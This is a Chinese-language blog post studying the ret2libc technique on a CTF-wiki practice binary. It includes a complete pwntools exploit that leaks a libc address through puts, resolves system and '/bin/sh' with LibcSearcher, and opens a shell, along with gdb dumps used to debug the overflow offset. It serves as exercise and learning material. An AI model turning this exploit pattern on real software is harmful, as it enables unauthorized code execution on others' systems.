title: pwn学习之ret2libc
date: 2020-01-29 18:07:07
tags: pwn学习
今天看了看wiki-ret2libc的内容,觉得受益匪浅。
ret2libc说白了就是让我们之前的ret不往shellcode或者vul上跳 而是跳到了某个函数的plt或者got的位置 从而实现控制程序的函数去执行libc中的函数
这里使用了wiki上的例子来练习,wiki给了三种情况 :
- 有system 有 /bin/sh
- 有system 无 /bin/sh
- 无system 无 /bin/sh
我们着重来说第三种方式 这种也是某些ctf题目中可以见到的 额当然 现在比赛还是heap占大多数
ok 我们拿到例子后 还是拿checksec 检测一下
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
发现开的NX是个32位的ELF 然后拿到ida去分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s); //gets存在明显的栈溢出漏洞
return 0;
}
由于人家没给咱们so文件 所以就只能自己去泄露他的版本了
然后 计算偏移的过程就不贴了 offset最后为112
我们来总结一下思路
首先先得找到一个在我们溢出之前使用过的函数 我这里选择使用puts函数 来通过溢出漏洞泄露他的地址
接着我们可以通过 libcsearcher 来查找对应版本的libc
找到libc版本之后去计算我们的system的地址和/bin/sh的地址
当我们有了libc的版本之后可以通过libcsearcher给出的方法去计算
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")
之后再次去执行main函数去我们的溢出点构造我们第二次发送的payload
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_addr = elf.symbols['main']
raw_input()
payload = "a"*112+p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr)
io.recvuntil('!?')
io.sendline(payload)
puts_addr = u32(io.recv()[0:4])
obj = LibcSearcher('puts',puts_addr)
obj_base = puts_addr-obj.dump('puts')
sys_addr=obj.dump('system')+obj_base
bin_sh_addr = obj.dump('str_bin_sh')+obj_base
#io.recvuntil('!?')
payload2 = 'a'*104+p32(sys_addr)+'bbbb'+p32(bin_sh_addr) #这里的a为何为104下面给出我个人的看法
io.send(payload2)
io.interactive()
其实上面这个104 我在最开始时写的是112 于是造成了payload打不通的情况 于是拿gdb at上去分析一下 以下是我分析所得出的结论 如果有错误希望师傅们及时指正:
首先定位到第二次发送完payload要ret的时候 就是我们第二次call gets的那个地方的ret
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7f365a0 --> 0xfbad2288
EDX: 0xf7f3787c --> 0x0
ESI: 0xf7f36000 --> 0x1b1db0
EDI: 0xf7f36000 --> 0x1b1db0
EBP: 0x61616161 ('aaaa')
ESP: 0xffd164e8 ("aaaa\240\355\333\367bbbb\v\372\355", <incomplete sequence \367>)
EIP: 0x61616161 ('aaaa')
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61616161
[------------------------------------stack-------------------------------------]
0000| 0xffd164e8 ("aaaa\240\355\333\367bbbb\v\372\355", <incomplete sequence \367>)
0004| 0xffd164ec --> 0xf7dbeda0 (<__libc_system>: sub esp,0xc)
0008| 0xffd164f0 ("bbbb\v\372\355", <incomplete sequence \367>)
0012| 0xffd164f4 --> 0xf7edfa0b ("/bin/sh")
0016| 0xffd164f8 --> 0xf7f36000 --> 0x1b1db0
0020| 0xffd164fc --> 0xf7f7dc04 --> 0x0
0024| 0xffd16500 --> 0xf7f7d000 --> 0x23f40
0028| 0xffd16504 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x61616161 in ?? ()
本来我们当ret跳转的时候 eip应该为我们的system的地址 但是这个地方直接去ret回了 0x61616161 这个地方 说明我们的buffer的偏移存在问题 正常来是 我们应该覆盖到ebp就不能在覆盖了 但是这个位置我们可以看到 明显多了esp 和 eip的 一共 8个a 所以我们应该减去8个 也就是104个 这就是我自己的解决这个问题的办法 至于原理我自己的理解应该是当我们第一次发送完payload再次进入main函数的时候 我们没有去平衡栈帧 所以导致了堆栈平衡的问题
ctf-wiki-----基本Rop